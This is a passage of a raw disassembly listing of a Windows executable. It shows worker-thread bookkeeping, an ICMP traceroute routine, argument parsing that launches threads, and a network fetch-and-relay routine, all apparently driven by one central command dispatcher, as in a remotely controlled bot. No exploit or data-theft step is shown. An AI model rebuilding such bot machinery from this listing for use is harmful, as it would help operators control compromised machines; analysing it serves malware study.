		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		cmp	dword_41E2F0, 0
		jz	short loc_409B25
		push	10h
		push	dword_41E2F0
		push	offset dword_4194EC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_409B3F
; ---------------------------------------------------------------------------


loc_409B25:				; CODE XREF: sub_409AD5+30j
		push	offset dword_4194CC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	locret_409BED
; ---------------------------------------------------------------------------


loc_409B3F:				; CODE XREF: sub_409AD5+4Ej
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		and	[ebp+var_10], 0
		and	[ebp+var_4], 0
		jmp	short loc_409B5B
; ---------------------------------------------------------------------------


loc_409B54:				; CODE XREF: sub_409AD5:loc_409BDBj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_409B5B:				; CODE XREF: sub_409AD5+7Dj
		cmp	[ebp+var_4], 10h
		jge	short loc_409BE0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409BDB
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		lea	eax, [ecx+eax+14h]
		push	eax
		push	[ebp+var_4]
		push	offset dword_4194BC
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2F8
		cmp	dword ptr [ecx+eax+4], 0
		jz	short loc_409BDB
		jmp	short loc_409BE0
; ---------------------------------------------------------------------------


loc_409BDB:				; CODE XREF: sub_409AD5+A0j
					; sub_409AD5+102j
		jmp	loc_409B54
; ---------------------------------------------------------------------------


loc_409BE0:				; CODE XREF: sub_409AD5+8Aj
					; sub_409AD5+104j
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax

locret_409BED:				; CODE XREF: sub_409AD5+65j
		leave
		retn	4
sub_409AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BF1	proc near		; CODE XREF: sub_40A9CF+AFBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A3h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_409C0B
		jmp	short locret_409C34
; ---------------------------------------------------------------------------


loc_409C0B:				; CODE XREF: sub_409BF1+16j
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	offset sub_409AD5
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short locret_409C34
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx

locret_409C34:				; CODE XREF: sub_409BF1+18j
					; sub_409BF1+38j
		leave
		retn
sub_409BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C36	proc near		; CODE XREF: sub_405FA3+9p
					; sub_40938F+1Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	18h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	dword_41DE40, 0
		jz	short loc_409C61
		push	80000400h
		push	[ebp+arg_0]
		call	dword_41DE40	; InitializeCriticalSectionAndSpinCount
		jmp	short loc_409C6A
; ---------------------------------------------------------------------------


loc_409C61:				; CODE XREF: sub_409C36+19j
		push	[ebp+arg_0]
		call	dword_4170E4	; InitializeCriticalSection


loc_409C6A:				; CODE XREF: sub_409C36+29j
		pop	ebp
		retn
sub_409C36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C6C	proc near		; CODE XREF: sub_406041+10p
					; sub_4095A4+Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170EC	; RtlEnterCriticalSection
		pop	ebp
		retn
sub_409C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C7A	proc near		; CODE XREF: sub_406041+26p
					; sub_406041+307p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_41710C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_409C7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C88	proc near		; CODE XREF: sub_40332B+10p
					; sub_41113B+7EDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xadd [esi], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C9D	proc near		; CODE XREF: sub_4042FB+17p
					; sub_4042FB+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lock xchg eax, [esi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CB1	proc near		; CODE XREF: sub_409DD0+202p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		call	dword_41E2FC
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_409CD8
		push	offset aCouldNotGetAVa ; "Could	not get	a valid	ICMP handle\n"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_409DCE
; ---------------------------------------------------------------------------


loc_409CD8:				; CODE XREF: sub_409CB1+13j
		push	8
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	al, [ebp+arg_8]
		mov	[ebp+var_18], al
		movzx	eax, [ebp+arg_10]
		push	eax
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_C], eax
		movzx	eax, [ebp+arg_10]
		push	eax
		push	45h
		push	[ebp+var_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		movzx	eax, [ebp+arg_10]
		cmp	eax, 8
		jge	short loc_409D26
		mov	[ebp+var_38], 8
		jmp	short loc_409D2D
; ---------------------------------------------------------------------------


loc_409D26:				; CODE XREF: sub_409CB1+6Aj
		movzx	eax, [ebp+arg_10]
		mov	[ebp+var_38], eax


loc_409D2D:				; CODE XREF: sub_409CB1+73j
		mov	eax, [ebp+var_38]
		add	eax, 1Ch
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_416DD2
		pop	ecx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+var_24]
		push	[ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		movzx	ax, [ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		call	dword_41E308
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], 1
		cmp	[ebp+var_20], 1
		jz	short loc_409D8D
		call	dword_417064	; RtlGetLastWin32Error
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_409DA4
; ---------------------------------------------------------------------------


loc_409D8D:				; CODE XREF: sub_409CB1+CDj
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	[eax+8], ecx


loc_409DA4:				; CODE XREF: sub_409CB1+DAj
		push	[ebp+var_1C]
		call	dword_41E304
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		push	[ebp+var_30]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_416DCC
		pop	ecx
		mov	eax, [ebp+var_8]

locret_409DCE:				; CODE XREF: sub_409CB1+22j
		leave
		retn
sub_409CB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DD0	proc near		; DATA XREF: sub_40A1A7+FDo

var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_10D		= byte ptr -10Dh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2F0h
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, byte_41E310
		test	eax, eax
		jnz	short loc_409E6D
		push	offset aIcmp_dll ; "ICMP.DLL"
		call	dword_417054	; LoadLibraryA
		mov	dword_41E300, eax
		cmp	dword_41E300, 0
		jnz	short loc_409E24
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E24:				; CODE XREF: sub_409DD0+4Bj
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	dword_41E300
		call	dword_417058	; GetProcAddress
		mov	dword_41E2FC, eax
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	dword_41E300
		call	dword_417058	; GetProcAddress
		mov	dword_41E308, eax
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	dword_41E300
		call	dword_417058	; GetProcAddress
		mov	dword_41E304, eax
		mov	byte_41E310, 1


loc_409E6D:				; CODE XREF: sub_409DD0+32j
		cmp	dword_41E2FC, 0
		jnz	short loc_409E7D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E7D:				; CODE XREF: sub_409DD0+A4j
		cmp	dword_41E308, 0
		jnz	short loc_409E8D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E8D:				; CODE XREF: sub_409DD0+B4j
		cmp	dword_41E304, 0
		jnz	short loc_409E9D
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409E9D:				; CODE XREF: sub_409DD0+C4j
		lea	eax, [ebp+var_10D]
		mov	[ebp+var_2B8], eax
		push	[ebp+var_2B8]
		call	dword_417244	; inet_addr
		mov	[ebp+var_2BC], eax
		cmp	[ebp+var_2BC], 0FFFFFFFFh
		jnz	short loc_409F18
		push	[ebp+var_2B8]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_2C0], eax
		cmp	[ebp+var_2C0], 0
		jz	short loc_409F06
		mov	eax, [ebp+var_2C0]
		movsx	eax, word ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+var_2C0]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_409F18
; ---------------------------------------------------------------------------


loc_409F06:				; CODE XREF: sub_409DD0+10Dj
		push	offset aCouldNotResolv ; "Could	not resolve name"
		call	sub_416DD8	; printf
		pop	ecx
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_409F18:				; CODE XREF: sub_409DD0+F2j
					; sub_409DD0+134j
		and	[ebp+var_4], 0
		mov	byte ptr [ebp+var_2B4],	1
		jmp	short loc_409F33
; ---------------------------------------------------------------------------


loc_409F25:				; CODE XREF: sub_409DD0:loc_40A19Cj
		mov	al, byte ptr [ebp+var_2B4]
		add	al, 1
		mov	byte ptr [ebp+var_2B4],	al


loc_409F33:				; CODE XREF: sub_409DD0+153j
		movzx	eax, byte ptr [ebp+var_2B4]
		movzx	ecx, [ebp+var_D]
		cmp	eax, ecx
		jg	loc_40A1A1
		cmp	[ebp+var_4], 0
		jnz	loc_40A1A1
		and	[ebp+var_2EC], 0
		or	[ebp+var_2E4], 0FFFFFFFFh
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0
		and	[ebp+var_2D0], 0
		and	[ebp+var_2C8], 0
		and	[ebp+var_2CC], 0
		and	[ebp+var_2D8], 0
		and	[ebp+var_2D4], 0
		jmp	short loc_409F9E
; ---------------------------------------------------------------------------


loc_409F91:				; CODE XREF: sub_409DD0:loc_40A04Ej
		mov	eax, [ebp+var_2D4]
		inc	eax
		mov	[ebp+var_2D4], eax


loc_409F9E:				; CODE XREF: sub_409DD0+1BFj
		mov	eax, [ebp+var_2D4]
		cmp	eax, [ebp+var_8]
		jnb	loc_40A053
		cmp	[ebp+var_2D8], 0
		jnz	loc_40A053
		push	20h
		push	[ebp+var_C]
		push	[ebp+var_2B4]
		lea	eax, [ebp+var_2CC]
		push	eax
		push	[ebp+var_2BC]
		call	sub_409CB1
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A047
		cmp	[ebp+var_2CC], 0
		jnz	short loc_40A02F
		mov	eax, [ebp+var_2D0]
		add	eax, [ebp+var_2C4]
		mov	[ebp+var_2D0], eax
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2E4]
		jnb	short loc_40A013
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2E4], eax


loc_40A013:				; CODE XREF: sub_409DD0+235j
		mov	eax, [ebp+var_2C4]
		cmp	eax, [ebp+var_2DC]
		jbe	short loc_40A02D
		mov	eax, [ebp+var_2C4]
		mov	[ebp+var_2DC], eax


loc_40A02D:				; CODE XREF: sub_409DD0+24Fj
		jmp	short loc_40A045
; ---------------------------------------------------------------------------


loc_40A02F:				; CODE XREF: sub_409DD0+215j
		mov	eax, [ebp+var_2CC]
		mov	[ebp+var_2EC], eax
		mov	[ebp+var_2D8], 1


loc_40A045:				; CODE XREF: sub_409DD0:loc_40A02Dj
		jmp	short loc_40A04E
; ---------------------------------------------------------------------------


loc_40A047:				; CODE XREF: sub_409DD0+20Cj
		xor	eax, eax
		jmp	locret_40A1A3
; ---------------------------------------------------------------------------


loc_40A04E:				; CODE XREF: sub_409DD0:loc_40A045j
		jmp	loc_409F91
; ---------------------------------------------------------------------------


loc_40A053:				; CODE XREF: sub_409DD0+1D7j
					; sub_409DD0+1E4j
		mov	eax, [ebp+var_2C8]
		mov	[ebp+var_2E8], eax
		cmp	[ebp+var_2EC], 0
		jnz	short loc_40A07B
		mov	eax, [ebp+var_2D0]
		xor	edx, edx
		div	[ebp+var_8]
		mov	[ebp+var_2E0], eax
		jmp	short loc_40A090
; ---------------------------------------------------------------------------


loc_40A07B:				; CODE XREF: sub_409DD0+296j
		and	[ebp+var_2E4], 0
		and	[ebp+var_2E0], 0
		and	[ebp+var_2DC], 0


loc_40A090:				; CODE XREF: sub_409DD0+2A9j
		cmp	[ebp+var_2EC], 0
		jnz	loc_40A165
		push	2
		push	4
		lea	eax, [ebp+var_2E8]
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jz	short loc_40A115
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		mov	eax, [ebp+var_2F0]
		push	dword ptr [eax]
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419594
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 2Ch
		jmp	short loc_40A163
; ---------------------------------------------------------------------------


loc_40A115:				; CODE XREF: sub_409DD0+2EBj
		movzx	eax, byte ptr [ebp+var_2E8+3]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+2]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8+1]
		push	eax
		movzx	eax, byte ptr [ebp+var_2E8]
		push	eax
		push	[ebp+var_2DC]
		push	[ebp+var_2E0]
		push	[ebp+var_2E4]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419568
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 28h


loc_40A163:				; CODE XREF: sub_409DD0+343j
		jmp	short loc_40A187
; ---------------------------------------------------------------------------


loc_40A165:				; CODE XREF: sub_409DD0+2C7j
		push	[ebp+var_2EC]
		movzx	eax, byte ptr [ebp+var_2B4]
		push	eax
		push	offset dword_419540
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40A187:				; CODE XREF: sub_409DD0:loc_40A163j
		mov	eax, [ebp+var_2BC]
		cmp	eax, [ebp+var_2E8]
		jnz	short loc_40A19C
		mov	[ebp+var_4], 1


loc_40A19C:				; CODE XREF: sub_409DD0+3C3j
		jmp	loc_409F25
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: sub_409DD0+170j
					; sub_409DD0+17Aj
		xor	eax, eax

locret_40A1A3:				; CODE XREF: sub_409DD0+4Fj
					; sub_409DD0+A8j ...
		leave
		retn	4
sub_409DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1A7	proc near		; CODE XREF: sub_40A9CF+FAEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A1C7
		push	offset unk_419618
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1C7:				; CODE XREF: sub_40A1A7+Aj
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A1E0
		jmp	locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A1E0:				; CODE XREF: sub_40A1A7+32j
		push	1A3h
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A3h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 0FFh
		jg	short loc_40A22A
		push	[ebp+arg_8]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_10], eax
		jmp	short loc_40A231
; ---------------------------------------------------------------------------


loc_40A22A:				; CODE XREF: sub_40A1A7+63j
					; sub_40A1A7+73j
		mov	[ebp+var_10], 1Eh


loc_40A231:				; CODE XREF: sub_40A1A7+81j
		mov	eax, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_10]
		mov	[eax+2A3h], cl
		cmp	[ebp+arg_C], 0
		jz	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, 927C0h
		jg	short loc_40A261
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_40A268
; ---------------------------------------------------------------------------


loc_40A261:				; CODE XREF: sub_40A1A7+9Aj
					; sub_40A1A7+AAj
		mov	[ebp+var_14], 7530h


loc_40A268:				; CODE XREF: sub_40A1A7+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_14]
		mov	[eax+2A4h], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_40A288
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_40A28F
; ---------------------------------------------------------------------------


loc_40A288:				; CODE XREF: sub_40A1A7+D1j
		mov	[ebp+var_18], 3


loc_40A28F:				; CODE XREF: sub_40A1A7+DFj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_18]
		mov	[eax+2A8h], ecx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_4]
		push	offset sub_409DD0
		push	0
		push	0
		call	dword_4170B4	; CreateThread
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A2C7
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		jmp	short locret_40A2D0
; ---------------------------------------------------------------------------


loc_40A2C7:				; CODE XREF: sub_40A1A7+113j
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40A2D0:				; CODE XREF: sub_40A1A7+1Bj
					; sub_40A1A7+34j ...
		leave
		retn
sub_40A1A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2D2	proc near		; CODE XREF: sub_40A4A4+30p

var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1114	= byte ptr -1114h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 111Ch
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	offset dword_41966C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		add	esp, 14h
		push	2710h
		push	0
		push	offset dword_419668
		mov	eax, [ebp+arg_0]
		add	eax, 104h
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40A339
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A339:				; CODE XREF: sub_40A2D2+5Ej
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	offset dword_419660
		lea	eax, [ebp+var_114]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A38F
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A38F:				; CODE XREF: sub_40A2D2+ABj
		push	1000h
		lea	eax, [ebp+var_1114]
		push	eax
		push	[ebp+var_8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_40A3B5
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_40A3C5


loc_40A3B5:				; CODE XREF: sub_40A2D2+DBj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		xor	al, al
		jmp	locret_40A4A2
; ---------------------------------------------------------------------------


loc_40A3C5:				; CODE XREF: sub_40A2D2+E1j
		lea	eax, [ebp+var_1114]
		mov	[ebp+var_10], eax


loc_40A3CE:				; CODE XREF: sub_40A2D2:loc_40A492j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_111C],	eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A3E9
		jmp	loc_40A497
; ---------------------------------------------------------------------------


loc_40A3E9:				; CODE XREF: sub_40A2D2+110j
		push	[ebp+var_111C]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_111C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40A41B
		push	offset dword_418F4C
		push	[ebp+var_111C]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40A442


loc_40A41B:				; CODE XREF: sub_40A2D2+131j
		mov	eax, [ebp+var_111C]
		lea	ecx, [ebp+var_1114]
		cmp	eax, ecx
		jz	short loc_40A440
		push	offset dword_41965C
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A440:				; CODE XREF: sub_40A2D2+157j
		jmp	short loc_40A458
; ---------------------------------------------------------------------------


loc_40A442:				; CODE XREF: sub_40A2D2+147j
		push	[ebp+var_111C]
		mov	eax, [ebp+arg_0]
		add	eax, 204h
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40A458:				; CODE XREF: sub_40A2D2:loc_40A440j
		push	3E8h
		call	dword_41709C	; Sleep
		push	offset dword_41E2D8
		call	sub_409C6C
		pop	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_1118],	eax
		push	offset dword_41E2D8
		call	sub_409C7A
		pop	ecx
		cmp	[ebp+var_1118],	0
		jz	short loc_40A492
		jmp	short loc_40A497
; ---------------------------------------------------------------------------


loc_40A492:				; CODE XREF: sub_40A2D2+1BCj
		jmp	loc_40A3CE
; ---------------------------------------------------------------------------


loc_40A497:				; CODE XREF: sub_40A2D2+112j
					; sub_40A2D2+1BEj
		push	[ebp+var_8]
		call	sub_40538D
		pop	ecx
		mov	al, 1

locret_40A4A2:				; CODE XREF: sub_40A2D2+62j
					; sub_40A2D2+B8j ...
		leave
		retn
sub_40A2D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4A4	proc near		; DATA XREF: sub_40A50E+A1o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40A2D2
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40A4FC
		lea	eax, [ebp+var_2A4]
		push	eax
		push	offset dword_419698
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40A4FC:				; CODE XREF: sub_40A4A4+3Bj
		push	[ebp+var_3A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40A4A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A50E	proc near		; CODE XREF: sub_40A9CF+FE3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A51D
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A51D:				; CODE XREF: sub_40A50E+8j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40A536
		jmp	locret_40A5BC
; ---------------------------------------------------------------------------


loc_40A536:				; CODE XREF: sub_40A50E+21j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
